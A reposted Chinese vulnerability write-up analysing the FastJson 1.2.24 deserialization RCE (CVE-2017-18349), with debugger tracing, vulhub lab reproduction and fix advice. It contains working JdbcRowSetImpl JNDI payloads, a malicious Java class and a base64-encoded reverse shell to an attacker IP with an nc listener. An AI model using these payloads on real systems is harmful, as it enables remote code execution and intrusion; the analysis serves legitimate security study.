首页/新闻资讯/正文详情

FastJson 1.2.24 反序列化 RCE漏洞分析

发布时间:2026/9/25 21:19:15 来源:云帆数科 栏目:资讯中心
FastJson 1.2.24 反序列化 RCE漏洞分析
FastJson 1.2.24 反序列化 RCE 漏洞分析来源与许可本文基于《代码审计 | FastJson 1.2.24 反序列化 RCE 漏洞分析》原文https://wr0ld.github.io/posts/3035988a/ 整理原文采用 CC BY-NC-SA 4.0 协议本文同样以该协议发布转载请注明原文出处。详见文末「来源与许可」。漏洞编号CVE-2017-18349影响版本FastJson ≤ 1.2.24危害远程代码执行RCE成因FastJson 解析 JSON 时若发现type字段会将其值作为类名加载并实例化再通过反射依次调用 setter 赋值。1.2.24 及以下版本该过程没有任何类型校验攻击者可用com.sun.rowset.JdbcRowSetImpl这类 setter 中带危险行为的类作为利用链触发 JNDI 查询并从远程加载恶意类最终实现命令执行。一、环境要求项目要求靶机 JDK≤ 8u1908u121 起 RMI 通道受限8u191 起 LDAP 通道受限FastJson1.2.24利用工具JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar利用工具运行环境Java 8 及以上JRE 即可靶机 JDK 版本与可用通道对照靶机 JDKRMI1099LDAP1389 8u121可用可用8u121 8u190不可用可用≥ 8u191不可用不可用判断本机 JDK 属于哪一档检查rt.jar里哪条通道带trustURLCodebase开关python -c import zipfile;zzipfile.ZipFile(r你的JDK目录\jre\lib\rt.jar);print(RMI:,btrustURLCodebase in z.read(com/sun/jndi/rmi/registry/RegistryContext.class),LDAP:,btrustURLCodebase in z.read(com/sun/jndi/ldap/Obj.class))本机 8u181 实测输出RMI: True表示 RMI 有闸、LDAP: False表示 LDAP 无闸本文的地址占位符为便于套用到你自己的环境正文中的 IP 一律用占位符表示占位符含义靶机IP靶机存在 fastjson 反序列化漏洞的服务所在机器攻击机IP攻击机运行 JNDI 利用工具、托管恶意类、并接收反弹 shell 的机器若跑 JNDI 工具的机器与接收反弹 shell 的机器不是同一台请各自替换为对应 IP。二、搭建 Maven 项目2.1 建 Maven 项目2.2 添加 FastJson 依赖pom.xml中添加dependenciesdependencygroupIdcom.alibaba/groupIdartifactIdfastjson/artifactIdversion1.2.24/version/dependency/dependencies2.3 下载依赖源代码也下载一下调试时要能跳进 fastjson 源码三、type 机制初探User 例子3.1 创建 User 类src/main/java/org/example/User.javapackageorg.example;publicclassUser{privateStringname;privateintage;privateStringgender;publicStringgetName(){System.out.println(getName);returnname;}publicvoidsetName(Stringname){this.namename;System.out.println(setName);}publicintgetAge(){System.out.println(getAge);returnage;}publicvoidsetAge(intage){this.ageage;System.out.println(setAge);}publicStringgetGender(){System.out.println(getGender);returngender;}publicvoidsetGender(Stringgender){this.gendergender;System.out.println(setGender);}}3.2 修改 Main.java 测试解析packageorg.example;importcom.alibaba.fastjson.JSON;importcom.alibaba.fastjson.JSONObject;publicclassMain{publicstaticvoidmain(String[]args){StringTest{\type\:\org.example.User\,\name\:\wrold\,\age\:18};JSONObjectdateJSON.parseObject(Test);System.out.println(date);}}3.3 运行结果可以看到type指向的是我们自己创建的类文件JSON 数据包含了name和age两个参数在运行结果里触发了setName、setAge、getAge、getName虽然没有定义gender参数但仍然触发了getGender四、parseObject 两种调用方式的区别如果把JSONObject date JSON.parseObject(Test);改成User user JSON.parseObject(Test, User.class);运行结果就不一样了JSON.parseObject(Test, User.class)只触发了 setter没有触发任何 getter。两种调用方式的本质区别调用方式触发方法返回类型JSON.parseObject(Test)setter getterJSONObjectJSON.parseObject(Test, User.class)只有 setterUser 对象这个区别在漏洞利用里非常关键setter 型利用链→ 两种调用方式都能触发JdbcRowSetImpl就是这种getter 型利用链→ 只有parseObject(Test)无类型版本才能触发TemplatesImpl的getOutputProperties就是典型五、PoC 复现5.1 编写 Payloadsrc/main/java/org/example/Main.java改为packageorg.example;importcom.alibaba.fastjson.JSON;publicclassMain{publicstaticvoidmain(String[]args){Stringpayload{\type\:\com.sun.rowset.JdbcRowSetImpl\,\dataSourceName\:\ldap://攻击机IP:1389/xxxxxx\,\autoCommit\:true};JSON.parse(payload);}}5.2 启动 JNDI 服务这里指定 rmi 地址用的是 VMnet8 NAT 网卡地址java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C calc -A 攻击机IP这里看清楚选 1.8 的那一组。靶机为8u181时只能走 LDAP靶机为8u112时RMI、LDAP 都可5.3 选取地址分组适用靶机使用哪些地址JDK 1.8JDK 8 且 RMI 未受限 8u121该组 rmi 或 ldapTomcat / SpringBoot目标 classpath 含 Tomcat 8 或 SpringBoot 1.2.x该组 rmiJDK 1.7JDK 7该组 rmi 或 ldap5.4 修改 Payload 地址把 payload 里的地址换成工具生成的对应地址。8u112rmi{type:com.sun.rowset.JdbcRowSetImpl,dataSourceName:rmi://攻击机IP:1099/xxxxxx,autoCommit:true}ldap{type:com.sun.rowset.JdbcRowSetImpl,dataSourceName:ldap://攻击机IP:1389/xxxxxx,autoCommit:true}8u181ldap{type:com.sun.rowset.JdbcRowSetImpl,dataSourceName:ldap://攻击机IP:1389/xxxxxx,autoCommit:true}地址末尾那 6 位随机字符每次启动工具都会变必须用工具本次打印出来的值。5.5 成功弹出计算器更换 JDK 运行版本记得改右击【启动图标】→【修改运行配置】。8u112rmi 方式ldap 方式PoC 验证成功。六、三个端口的作用端口服务作用1099RMI 注册表被查询时返回Reference告知去哪获取类1389LDAP 服务被查询时返回含javaCodebase、javaFactory的条目8180HTTP 服务托管恶意 class 文件供靶机下载1099 与 1389 是两条并列的协议通道任选其一依据靶机 JDK 版本决定8180 是两条通道共同依赖的环节。连接方向均由靶机主动发起靶机 →(查询)→ 1099 或 1389 ←(返回 Reference含 javaCodebasehttp://攻击机:8180/) 靶机 →(下载)→ 8180 取得 ExecTemplateJDK8.class 靶机 本地加载并执行 → RCE七、底层代码调试分析7.1 入口分析打断点进入函数在该位置按CtrlB转到JSON里面直接看到用了parse()所以JSON.parse(payload)同样能触发漏洞不一定要用parseObject。注意返回类型不同JSON.parse(String)返回java.lang.ObjectJSON.parseObject(String)才返回JSONObject。所以JSONObject date JSON.parse(payload);编译不过应写成JSON.parse(payload);或Object date JSON.parse(payload);。示例7.2 type 字段的识别进入com/alibaba/fastjson/parser/DefaultJSONParser.java发现一个判断语句判断是否有type的值判断成功后进入处理逻辑com.sun.rowset.JdbcRowSetImpl被提取出来赋值给了typeName7.3 任意类加载TypeUtils.loadClass接着触发了这个函数TypeUtils.loadClass(typeName,this.config.getDefaultClassLoader());进去看看一路的 if 语句都没有成立最后停到了这里className: com.sun.rowset.JdbcRowSetImpl ← type 的值 clazz: class com.sun.rowset.JdbcRowSetImpl ← 字符串成功变成 Class 对象这就是漏洞的根源FastJson 解析 JSON 时如果发现type字段会调用TypeUtils.loadClass()把字符串值转成Class对象然后实例化该类并通过反射调用对应的 setter 方法赋值——任意类都可以被实例化没有任何限制。7.4 找到 DeserializerDefaultJSONParser.parseObject继续往下执行发现下面有一个 Deserializer对象就是type指定的com.sun.rowset.JdbcRowSetImpl7.5 逐步跟踪 setter 调用与其一步一步跟链不如直接在关键 setter/getter 上打断点效率更高。需要关注的方法setDataSourceNamegetDataSourceNamesetAutoCommitgetAutoCommit搜索setDataSourceName/getDataSourceName直接搜索搜不到函数只能找到接口和定义。要找setAutoCommit/getAutoCommit需要用双击 Shift搜索类名JdbcRowSetImpl定位到JdbcRowSetImpl.class后再找对应方法。BaseRowSet.setDataSourceNameJdbcRowSetImpl.setDataSourceNameBaseRowSet.getDataSourceNameJdbcRowSetImpl.setAutoCommitJdbcRowSetImpl.getAutoCommit7.6 setDataSourceName 执行过程再跑一遍调试进入反序列化函数后直接跳到下一个断点到达了setDataSourceNamesetDataSourceName被调用传入 LDAP 地址ldap://攻击机IP:1389/xxxxxx但此时dataSource为空进入 else 判断getDataSourceName被调用但dataSource为空父类setDataSourceName执行dataSource name把 LDAP 或 RMI 地址真正存进去。接下来执行了这个方法method.invoke(object,value);这行代码的位置com.alibaba.fastjson.parser.deserializer.FieldDeserializer#setValue(Object, Object)的第 96 行。也就是说method.invoke是 fastjson 自己写的反射调用不是 JDK、也不是你的代码。它做的事等价于直接调用object.setDataSourceName(ldap://攻击机IP:1389/xxxxxx);object.setAutoCommit(true);有两个重要的参数ldap://攻击机IP:1389/xxxxxx—— 每次启动 JNDI 注入工具后末尾 6 位都会变com.sun.rowset.JdbcRowSetImpl7.7 setAutoCommit 触发 JNDI lookup继续进入setAutoCommitconn为null走 else 分支执行this.conn this.connect()进入connect()从getDataSourceName取值getDataSourceName再次被调用这次返回了 RMI 或 LDAP 地址不为空正常执行 try 里面的内容里面执行了lookup()就是JNDI lookup参数就是 RMI/LDAP 地址。连接恶意 RMI/LDAP 服务加载远程恶意类RCE 触发。八、完整调用链IDEA可以Ctrl Alt Shift N转到符号查询Main.main(Main.java) └─ JSON.parseObject(String) JSON.java:201 └─ JSON.parse(String) JSON.java:128 / 137 └─ DefaultJSONParser.parse() DefaultJSONParser.java:1293 / 1327 └─ DefaultJSONParser.parseObject() DefaultJSONParser.java:320-322 ← 识别 type ├─ TypeUtils.loadClass(typeName) TypeUtils.java:1018 ← 加载任意类 ├─ ParserConfig.getDeserializer() ParserConfig.java:360-367 ← 黑名单校验 └─ deserializer.deserialze() DefaultJSONParser.java:368 └─ JavaBeanDeserializer.deserialze() JavaBeanDeserializer.java:184 / 922 / 593 └─ FieldDeserializer.setValue() FieldDeserializer.java:96 ← method.invoke 调用 setter ├─ JdbcRowSetImpl.setDataSourceName() 存入地址 └─ JdbcRowSetImpl.setAutoCommit() JdbcRowSetImpl.java:4067 反编译行号class:1278和实际有出入 └─ JdbcRowSetImpl.connect() JdbcRowSetImpl.java:634 反编译class:316 └─ InitialContext.lookup(url) ← 发起 JNDI 查询 → 下载并加载远程 class → 执行命令 → RCE环节位置type识别与任意类加载DefaultJSONParser.java第 320-322 行反射调用 setterFieldDeserializer.java第 96 行method.invoke(object, value)触发 JNDI 查询JdbcRowSetImpl.connect()第 634 行为异常抛出处九、vulhub 靶场复现靶场来源https://github.com/vulhub/vulhub/blob/master/fastjson/1.2.24-rce/README.zh-cn.md本节是在多机环境下用 vulhub 靶场复现的完整过程手搭工程的复现见第三五节。9.1 环境与角色角色作用本节环境主机 A受害机存在 fastjson 反序列化漏洞的服务vulhub 容器运行在 Kali 上靶机IP主机 BWeb存放并托管恶意类CentOS7攻击机IPnginx 网站根目录/test主机 CRMIRMI 服务marshalsec监听 9999同上 CentOS7攻击机IP靶机镜像是Java 8u102 Linux Spring Boot因此rmi://通道可直接使用命令按 Linux 写法即可。启动靶场该环境使用 Fastjson 1.2.24 作为默认 JSON 解析器dockercompose up-d验证环境curlhttp://靶机IP:8090/-HContent-Type: application/json--data{name:hello, age:20}9.2 复现一执行命令touch /tmp/success第一步创建恶意 Java 类cd/test# nginx 网站根目录touchTouchFile.javavimTouchFile.java# 写入下面的类然后编译importjava.lang.Runtime;importjava.lang.Process;publicclassTouchFile{static{try{RuntimertRuntime.getRuntime();String[]commands{touch,/tmp/success};// String[] commands {bash, -c, {echo,base64}|{base64,-d}|{bash,-i}}; // 用于反弹 shellProcesspcrt.exec(commands);pc.waitFor();}catch(Exceptione){// do nothing}}}javac TouchFile.java# 生成 TouchFile.class第二步编译并启动 RMI 服务器marshalsecmarshalsec 需要 Maven 编译而 CentOS7 最小化安装与 Kali 默认都不自带 Maven# 1) 官网下载 Mavenhttp://maven.apache.org/download.cgi# 2) 解压到 /optcd/opttar-xvzfapache-maven-3.9.5-bin.tar.gz# 3) 编辑 /etc/profile末尾追加# export M2_HOME/opt/apache-maven-3.9.5# export PATH$PATH:$M2_HOME/bin# 4) 生效source/etc/profile# 编译 marshalsec首次会下载依赖耗时较长看到绿色的 SUCCESS 即成功cdmarshalsec-master mvn clean package-DskipTestscdmarshalsec-master/targetjava-cpmarshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServerhttp://攻击机IP:80/#TouchFile9999# ↑ 换成你的攻击机 Web 服务 IP 与端口第三步发送 PayloadPOST / HTTP/1.1 Host: 靶机IP:8090 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/json Content-Length: 160 { b:{ type:com.sun.rowset.JdbcRowSetImpl, dataSourceName:rmi://攻击机IP:9999/TouchFile, autoCommit:true } }验证命令touch /tmp/success已成功执行9.3 复现二反弹 shell流程与 9.2 基本一致只需改动恶意类里要执行的命令。第一步创建恶意 Java 类先把命令做 Base64 编码bash-i/dev/tcp/攻击机IP/666601# Base64 编码结果# YmFzaCAtaSAJiAvZGV2L3RjcC8xOTIuMTY4LjEzLjE1NS82NjY2IDAJjEimportjava.lang.Runtime;importjava.lang.Process;publicclassTouchFile{static{try{RuntimertRuntime.getRuntime();// String[] commands {touch, /tmp/success};String[]commands{bash,-c,{echo,YmFzaCAtaSAJiAvZGV2L3RjcC8xOTIuMTY4LjEzLjE1NS82NjY2IDAJjE}|{base64,-d}|{bash,-i}};Processpcrt.exec(commands);pc.waitFor();}catch(Exceptione){// do nothing}}}javac TouchFile.java第二步启动监听与 RMI 服务器nc-lvnp6666# 攻击机监听 6666用于接收反弹 shell# RMI 服务器仍监听 9999启动方式同 9.2 第二步第三步发送 Payload把请求里的 RMI 地址改成攻击机地址后发送POST / HTTP/1.1 Host: 靶机IP:8090 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/json Content-Length: 164 { b:{ type:com.sun.rowset.JdbcRowSetImpl, dataSourceName:rmi://攻击机IP:9999/TouchFile, autoCommit:true } }验证9.4 与手搭工程复现的差异差异点vulhub 靶场手搭工程本文前五节靶机 JDKJava 8u102RMI / LDAP 均无闸门需自行选版本8u181 只能走 LDAP靶机操作系统Linux 容器本机 Windows命令须用cmd /c ...触发入口HTTP 接口POST/本地main方法直接调用JSON.parse恶意类自己写TouchFile用 marshalsec 起 RMI用 JNDI-Injection-Exploit 内置的ExecTemplateJDK8十、修复建议升级 FastJson首选1.2.25 起引入checkAutoTypeautotype 默认关闭并内置危险类黑名单建议升级至最新版本并开启 safeMode1.2.68ParserConfig.getGlobalInstance().setSafeMode(true)。收紧调用方式解析不可信数据时显式传入目标类型JSON.parseObject(text, DTO.class)避免使用不传类型的JSON.parseObject(text)。升级 JDK升级至 8u191 及以上可阻断 JNDI 远程类加载路径属缓解措施非根本修复。其他不在公网暴露含反序列化处理的接口对入参做过滤定期扫描依赖版本。来源与许可原文代码审计 | FastJson 1.2.24 反序列化 RCE 漏洞分析—— https://wr0ld.github.io/posts/3035988a/JDK 版本参考https://www.cnblogs.com/yyhuni/p/8u191_jndi_inject.htmlFastJson 官方仓库https://github.com/alibaba/fastjson原文采用 CC BY-NC-SA 4.0 许可协议。本文作为其衍生整理保留了原文的章节结构与调试截图复现结果与截图均为自行实验所得同样以 CC BY-NC-SA 4.0 协议发布转载请注明原文出处。

相关推荐

储能 EMS 充放电控制链路技术总结
储能 EMS 充放电控制链路技术总结

一个嵌入式 Linux 工程师对储能后备管理系统充放电控制链路的完整梳理前言 我一直在维护和开发一套储能后备管理系统,它运行在基于 D9360 平台的嵌入式 Linux 上,交叉编译为 aarch64 产物,采用 RAUC A/B 槽 OTA 和 dm-verity 只读挂载。这个系… · 2026/9/25 21:19:08

如何用ZMQ把任意运动流送入人形机器人?GR00T-WholeBodyControl ZMQ协议完全参考
如何用ZMQ把任意运动流送入人形机器人?GR00T-WholeBodyControl ZMQ协议完全参考

如何用ZMQ把任意运动流送入人形机器人?GR00T-WholeBodyControl ZMQ协议完全参考 【免费下载链接】GR00T-WholeBodyControl Welcome to GR00T Whole-Body Control (WBC)! This is a unified platform for developing and deploying advanced humanoid controllers. T… · 2026/9/25 21:19:02

PostGIS 矢量数据裁剪与合并拼接实践
PostGIS 矢量数据裁剪与合并拼接实践

1. 引言在空间数据处理中,矢量数据的裁剪与合并拼接是两类高频且基础的操作。裁剪通常指用一个面(如行政区边界)去切割另一个面或线,得到相交部分;合并拼接则指把多个相邻或重叠的几何对象融合成一个整体,或… · 2026/9/25 21:18:56

旅游社交小程序源码实战:从部署排错到答辩改造的毕业设计指南
旅游社交小程序源码实战:从部署排错到答辩改造的毕业设计指南

简介:这是一份面向计算机相关专业毕业设计的旅游社交小程序完整源码,基于Java后端与Vue前端技术栈,涵盖用户社交、景点推荐、游记发布等典型模块,经导师指导并获98分评价,适合需要项目实战练习或完成课程设计的学生参考… · 2026/9/25 21:51:31

31851条成语数据库落库指南:从zip解压、SQLite清洗到FTS5检索
31851条成语数据库落库指南:从zip解压、SQLite清洗到FTS5检索

简介:中华成语数据库收录31851条成语,每条均含拼音与释义,大多数补充出处和例句,适合语文教学、词汇研究、词典编撰及成语爱好者使用,可作查询检索与统计分析的基础数据源。压缩包共3个文件,分别以CSV表格、… · 2026/9/25 21:51:31

手机也能管知识库:My-Brain-Is-Full-Crew移动端远程访问2分钟配置指南
手机也能管知识库:My-Brain-Is-Full-Crew移动端远程访问2分钟配置指南

手机也能管知识库:My-Brain-Is-Full-Crew移动端远程访问2分钟配置指南 【免费下载链接】My-Brain-Is-Full-Crew Built by a PhD whose memory was failing, whose diet was a mess, and whose anxiety had its own agenda. Most second brain tools ignore the fact… · 2026/9/25 21:51:25

Windows下Docker Desktop安装配置避坑指南
Windows下Docker Desktop安装配置避坑指南

1. 这不是“又一个Docker教程”,而是一份能让你少踩3小时坑的实战手记Docker Desktop 是我过去三年里每天打开频率最高的桌面应用——不是因为它多酷,而是因为它太容易“卡在启动界面”、太容易“报错virtualization support not detected”、太容易在换… · 2026/9/25 21:51:25

ASP+ACCESS教师档案管理系统源码实战:从部署到论文答辩
ASP+ACCESS教师档案管理系统源码实战:从部署到论文答辩

简介:面向计算机专业毕业设计场景的ASPACCESS教师档案管理系统,完整包含系统源代码与配套毕业论文。系统基于ASP服务器端脚本与Access数据库实现,涵盖用户登录验证、教师信息录入、修改、查询、删除以及权限管理等典型功能,适合用… · 2026/9/25 21:51:24

SDN核心原理与落地实践:解耦控制与数据平面
SDN核心原理与落地实践:解耦控制与数据平面

1. 从“看不懂的路由器指示灯”说起:SDN不是新概念,而是网络控制权的一次移交你有没有过这种经历:家里新换了一台标着“支持SDN”的光猫,说明书里写着“智能调度、弹性扩展”,可你连它的管理页面都找不到入口&#xff… · 2026/9/25 21:51:18

数值优化(Numerical Optimization)学习系列-03-共轭梯度方法(Conjugate Gradient)
数值优化(Numerical Optimization)学习系列-03-共轭梯度方法(Conjugate Gradient)

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views … · 2026/9/25 1:00:31

创维E900V22D刷机全攻略:S905L3SB芯片兼容性解析与救砖实战
创维E900V22D刷机全攻略:S905L3SB芯片兼容性解析与救砖实战

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views … · 2026/9/25 1:00:31

MQTT协议原理与Broker服务器搭建实战:从Mosquitto到EMQX
MQTT协议原理与Broker服务器搭建实战:从Mosquitto到EMQX

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views … · 2026/9/25 1:00:37

了解更多?预约专属演示

我们的顾问将为您一对一讲解产品与方案

企业微信二维码